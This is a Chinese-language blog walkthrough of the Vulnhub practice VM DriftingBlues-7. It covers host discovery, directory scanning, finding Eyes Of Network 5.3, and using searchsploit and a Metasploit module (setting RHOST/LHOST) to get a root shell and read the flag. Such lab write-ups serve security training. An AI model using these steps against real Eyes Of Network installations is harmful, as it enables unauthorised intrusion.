当前位置:网站首页>看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-7
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-7
2022-06-25 10:16:00 【落寞的魚丶】
Vulnhub靶机DriftingBlues-7渗透测试详解
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可,可能比较偏向CTF点。
Vulnhub靶机下载:
官网地址:https://www.vulnhub.com/entry/driftingblues-7,680/
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover
发现主机
渗透机:kali IP :192.168.205.133 靶机IP :192.168.205.144
这回开启的端口还挺多的 老样子先看一下80
端口页面发现是Eyes Of Network
(第一次见)
使用dirsearch
扫一下后台 但是没有搜到想要的结果 没有可以用的信息
这里是看到别人扫到了自己没扫到 也不知道为啥
访问:https://192.168.205.144/bower.json
发现了版本号 为 5.3
使用kali
搜索一下对应的相关漏洞:searchsploit Eyes Of Network 5.3
②:漏洞利用:
打开msf
搜索相关关键词Eyes Of Network
show options #查看需要设置的参数
set RHOST 192.168.205.144
set LHOST 192.168.205.133
run
进入shell
模式 cd /root
查看flag.txt
③:查看flag:
至此获取到了所有得flag,渗透测试结束。
Vulnhub靶机渗透总结:
感觉这个靶机 特别简单没有涉及到提权一些列操作 就是msf
的基本使用
DriftingBlues系列的第七个靶机了后继会继续更新,创作不易 希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!
边栏推荐
- 【观察】ObjectScale:重新定义下一代对象存储,戴尔科技的重构与创新
- [paper reading | depth] role based network embedding via structural features reconstruction with degree regulated
- Modbus protocol and serialport port read / write
- 原生小程序开发注意事项总结
- [paper reading | deep reading] drne:deep recursive network embedding with regular equivalence
- Flask博客实战 - 实现侧边栏文章归档及标签
- 数组结构整理
- Identityserver4 definition concept
- NetCore性能排查
- Unreal Engine graphics and text notes: use VAT (vertex animation texture) to make Houdini end on Houdini special effect (ue4/ue5)
猜你喜欢
Houdini图文笔记:Could not create OpenCL device of type (HOUDINI_OCL_DEVICETYPE)问题的解决
The title of my composition is - "my district head father"
How do wechat applets make their own programs? How to make small programs on wechat?
Redis (II) distributed locks and redis cluster construction
【论文阅读|深读】LINE: Large-scale Information Network Embedding
WebApi性能优化
之前字符串反转的题目
无心剑中译伊玛·拉扎罗斯《新巨人·自由女神》
Bitmap is converted into drawable and displayed on the screen
我希望按照我的思路盡可能將canvas基礎講明白
随机推荐
性能之网络篇
Opencv learning (I) -- environment building
How much does a wechat applet cost? Wechat applet development and production costs? Come and have a look
Macro application connector\
This is enough for request & response
Network protocol learning -- lldp protocol learning
【动态规划】—— 数字三角形
【论文阅读|深读】DRNE:Deep Recursive Network Embedding with Regular Equivalence
Oracle query comes with JDK version
I have summarized the knowledge points of JS [intermediate and advanced] for you
How to build a wechat applet? How to open an applet?
1-7Vmware中的快照与克隆
P2P network core technology: Gossip protocol
Oracle查询自带JDK版本
Solutions using protobuf in TS projects
数组结构整理
一文了解Prometheus
【图像融合】基于形态学分析结合稀疏表征实现图像融合附matlab代码
如何在Microsoft Exchange 2010中安装SSL证书
Google Earth Engine(GEE)——evaluate實現一鍵批量下載研究區內的所有單張影像(上海市部分區域)